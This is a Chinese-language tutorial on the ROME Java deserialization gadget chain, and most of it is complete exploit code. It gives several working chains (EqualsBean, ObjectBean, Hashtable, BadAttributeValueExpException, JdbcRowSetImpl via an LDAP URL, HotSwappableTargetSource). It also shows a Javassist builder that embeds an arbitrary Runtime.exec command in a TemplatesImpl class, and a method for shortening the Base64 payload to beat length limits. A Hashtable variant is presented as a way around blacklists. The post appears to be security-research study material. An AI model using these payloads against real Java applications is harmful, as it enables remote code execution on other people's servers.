ROME是什么:
它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
他有個特殊的位置就是ROME提供了ToStringBean這個類,提供深入的toString方法對Java Bean進行操作。
環境依賴:
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
ToStringBean:
在我們最后實現任意類加載前,需要有東西來調用Templateslmpl.getOutputProperties()從而觸發newTransformer方法動態加載惡意類,這里我們使用的一個關鍵就是ROME中自帶的ToStringBean類中的toString方法:
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
#獲取getter
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
#執行getter
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} ...
}
我們可以發現PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);其實和JavaBean中調用getter的方法類似,而下面for循環就是對pds(取到的getter方法)進行反射調用。
所以這里我們就可以通過ToStringBean類的toString方法來調用getOutputProperties方法,這里我們可以發現有兩個參數:
this._beanClass和this._obj,根據參數的名我們就可以知道beanClass是javaBean類型的class,obj就是我們要傳入的實例化的Templateslmpl類對象:
public ToStringBean(Class beanClass, Object obj) {
this._beanClass = beanClass;
this._obj = obj;
}
這里我們最好選擇Template這個接口,然后調用里面的getOutputObject方法后,在TemplatesImpl類中進行實現,因為Template就一個getter方法,直接從TemplatesImpl中進行調用getter有可能會因為getter方法過多調用不到。
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
入口分析:
中間我們通過ToStringBean類中的toString方法實現了調用,那么我們就在入口處,找到readObject能調用toString方法的鏈子就可以了:這里ROME采用了HashMap()作為入口點,最終調用任意類的hashCode方法,而恰好在ROME中有一個EqualsBean類中存在hashCode(),同時還能夠調用任意類的toString,于是這條鏈子就打通了:
EXP(EqualsBean):
package EXPROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class RomeToStringBean {
public static void setValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXPROME/Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
//防止序列化觸發
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
//再改回正常的參數
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
EXP(ObjectBean):
在ObjectBean.hashcode()中調用了EqualsBean.beanHashCode(),其作用和EqualsBean.hashCode()等價,所以我們就可以將EqualsBean.hashCode()替換為ObjectBean.hashcode():
package EXPROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class RomeObjectBean {
public static void setValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXPROME/Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
// serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
EXP(HashTable):
這里針對如果入口類黑名單中存在HashMap類,我們這里能夠用HashTable進行繞過,我們可以發現HashTable的readObject地方,對每個key和value都會調用reconstitutionPut()函數:
我們可以發現key調用了hashCode()方法,這樣就又能夠任意類調用hashCode了:
package EXPROME;
import java.util.Hashtable;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class RomeHashTable {
public static void setValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXPROME/Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templates);
// serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
EXP(BadAttributeValueExpException):
CC里面調用toString的方法
package EXPROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class RomeBdAttribute {
public static void setValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXPROME/Demo.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
setValue(templates,"_name","Ic4F1ame");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates,"_bytecodes",codes);
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
Field val = Bv.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
// serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
EXP(JdbcRowSetImpl):
JdbcRowSetImpl在FastJson中在<=1.2.24時使用的一個鏈子,這是針對后半段動態類加載不出網換成出網的操作:
package EXPROME;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class RomeJdbc {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:8085/zARQtFym";
jdbcRowset.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
//再改回正常的參數
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,jdbcRowset);
// serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
EXP(HotSwappableTargetSource):
這條是spring原生的toString利用鏈,后續在研究,調用鏈如下
* HashMap.readObject
* HashMap.putVal
* HotSwappableTargetSource.equals
* XString.equals
* ToStringBean.toString
public class ROME_HotSwappableTargetSource {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
toStringBean.toString();
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Serial.Serialize(hashMap);
Serial.DeSerialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
縮短Payload:
這里feng師傅也進行了一個擴展,如果存在payload長度限制,我們就要對payload長度的一個縮短,經過測試發現EqualsBean鏈子的長度是2k目前來說最短,我們就在此基礎上繼續縮短
使用Javassist縮短惡意class
Javassist:
Java 字節碼以二進制的形式存儲在 .class 文件中,每一個.class文件包含一個Java類或接口。Javaassist 就是一個用來處理Java字節碼的類庫。它可以在一個已經編譯好的類中添加新的方法,或者是修改已有的方法,并且不需要對字節碼方面有深入的了解。同時也可以通過手動的方式去生成一個新的類對象。其使用方式類似于反射。
ClassPool
ClassPool是CtClass對象的容器。CtClass對象必須從該對象獲得。如果get()在此對象上調用,則它將搜索表示的各種源ClassPath 以查找類文件,然后創建一個CtClass表示該類文件的對象。創建的對象將返回給調用者。可以將其理解為一個存放CtClass對象的容器。
獲得方法: ClassPool cp = ClassPool.getDefault();。通過 ClassPool.getDefault() 獲取的 ClassPool 使用 JVM 的類搜索路徑。如果程序運行在 JBoss 或者 Tomcat 等 Web 服務器上,ClassPool 可能無法找到用戶的類,因為Web服務器使用多個類加載器作為系統類加載器。在這種情況下,ClassPool 必須添加額外的類搜索路徑。
cp.insertClassPath(new ClassClassPath(<Class>));
CtClass
可以將其理解成加強版的Class對象,我們可以通過CtClass對目標類進行各種操作。可以ClassPool.get(ClassName)中獲取。
CtMethod
同理,可以理解成加強版的Method對象。可通過CtClass.getDeclaredMethod(MethodName)獲取,該類提供了一些方法以便我們能夠直接修改方法體
public final class CtMethod extends CtBehavior {
// 主要的內容都在父類 CtBehavior 中
}
// 父類 CtBehavior
public abstract class CtBehavior extends CtMember {
// 設置方法體
public void setBody(String src);
// 插入在方法體最前面
public void insertBefore(String src);
// 插入在方法體最后面
public void insertAfter(String src);
// 在方法體的某一行插入內容
public int insertAt(int lineNum, String src);
}
feng師傅還介紹了幾種對應的語言擴展:
符號含義$0,$1, $2, ...$0 = this; $1 = args[1] .....$args方法參數數組.它的類型為 Object[]$$所有實參。例如, m($$) 等價于 m(1,2,...)$cflow(...)cflow 變量$r返回結果的類型,用于強制類型轉換$w包裝器類型,用于強制類型轉換$_返回值$sig類型為 java.lang.Class 的參數類型數組$type一個 java.lang.Class 對象,表示返回值類型$class一個 java.lang.Class 對象,表示當前正在修改的類
應用:
引入依賴:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
我們嘗試用Javassist生成一個類
package JavaassitTest;
import javassist.*;
import java.io.IOException;
public class JavassitLearning {
public static void CreateClass() throws NotFoundException, CannotCompileException, IOException {
//獲取CtClass對象的容器ClassPool
ClassPool pool = ClassPool.getDefault();
//在當前目錄下創建一個Person類
CtClass ctClass = pool.makeClass("Person");
//創建一個類屬性name,用ClassPool.get(ClassName)獲取內容
CtField ctField1 = new CtField(pool.get("java.lang.String"),"name",ctClass);
//設置屬性訪問權限
ctField1.setModifiers(Modifier.PRIVATE);
//將name屬性添加進Person中,并設置初始值為Ic4F1ame
ctClass.addField(ctField1,CtField.Initializer.constant("Ic4F1ame"));
//向Person類中添加setter和getter方法
ctClass.addMethod(CtNewMethod.setter("setName",ctField1));
ctClass.addMethod(CtNewMethod.getter("getName",ctField1));
//創建一個無參構造
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//設置方法體
constructor.setBody("{name = \"Ic4F1ame\";}");
//向Person類中添加該無參構造
ctClass.addConstructor(constructor);
//創建一個類方法printName
CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName",new CtClass[]{},ctClass);
//設置方法訪問符
ctMethod.setModifiers(Modifier.PRIVATE);
//設置方法體
ctMethod.setBody("{System.out.println(name);}");
//將該方法添加進Person中
ctClass.addMethod(ctMethod);
//將生成的字節碼寫入文件
ctClass.writeFile("D:\\Tomcat\\CC\\src\\main\\java\\JavaassitTest");
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
CreateClass();
}
}
然后我們來看一下我們生成的Person類
public class Person {
private String name = "Ic4F1ame";
public void setName(String var1) {
this.name = var1;
}
public String getName() {
return this.name;
}
public Person() {
this.name = "Ic4F1ame";
}
private void printName() {
System.out.println(this.name);
}
}
生成惡意類:
因為惡意類需要繼承AbstractTranslet類,并重寫兩個transform()方法。否則編譯無法通過,無法生成.class文件,但是執行的時候我們并沒有用到兩個方法,同時使用Javassit生成的時候直接生成的是字節碼類型的惡意類,所以跳過了編譯的過程,就不需要引入重寫的方法:
package EXPShell;
import javassist.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public class GetShellCode {
public static CtClass getTemplatesImpl(String cmd) {
CtClass ctClass = null;
try {
ClassPool pool = ClassPool.getDefault();
ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
ctClass.addConstructor(constructor);
return ctClass;
} catch (Exception e) {
e.printStackTrace();
return ctClass;
}
}
public static void WriteShell() throws IOException, CannotCompileException {
CtClass shell = GetShellCode.getTemplatesImpl("calc");
shell.writeFile("D:\\Tomcat\\CC\\src\\main\\java\\JavaassitTest");
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
WriteShell();
}
}
這就是我們生成的惡意類:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class A extends AbstractTranslet {
public A() {
Runtime.getRuntime().exec("calc");
}
}
生成二進制文件形式:
package EXPShell;
import javassist.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public class GetShellCode {
public static byte[] getTemplatesImpl(String cmd){
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}catch (Exception e){
e.printStackTrace();
return new byte[]{};
}
}
public static void WriteShell() throws IOException {
byte[] shell = GetShellCode.getTemplatesImpl("calc");
FileOutputStream fileOutputStream = new FileOutputStream(new File("D:\\Tomcat\\CC\\src\\main\\java\\EXPShell\\S"));
fileOutputStream.write(shell);
}
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
WriteShell();
}
}
然后我們就可以進行我們payload縮短了,首先注意幾個賦值的地方:
- TemplatesImpl._name的長度可以為1
- TemplatesImpl._tfactory可以不用賦值
- HashMap的value長度可以為1
package EXPROME;
import EXPShell.GetShellCode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class RomeEqualsShorter {
public static void setValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
// byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Tomcat\\CC\\src\\main\\java\\EXPShell\\A.class"));
// setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
setValue(templatesimpl,"_name","a");
setValue(templatesimpl,"_bytecodes",new byte[][] {genPayload("calc")});
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "1");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())).length());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
可以看到縮短以后EqualsBean的鏈子從2.8k縮短到了1.3k,縮短了百分之五十還多,達到了我們縮短payload的目的
瀟湘信安
安全內參
聚銘網絡
Coremail郵件安全
信息安全與通信保密雜志社
CNCERT國家工程研究中心
安全圈
安全牛
安全圈
FreeBuf
合天網安實驗室
合天網安實驗室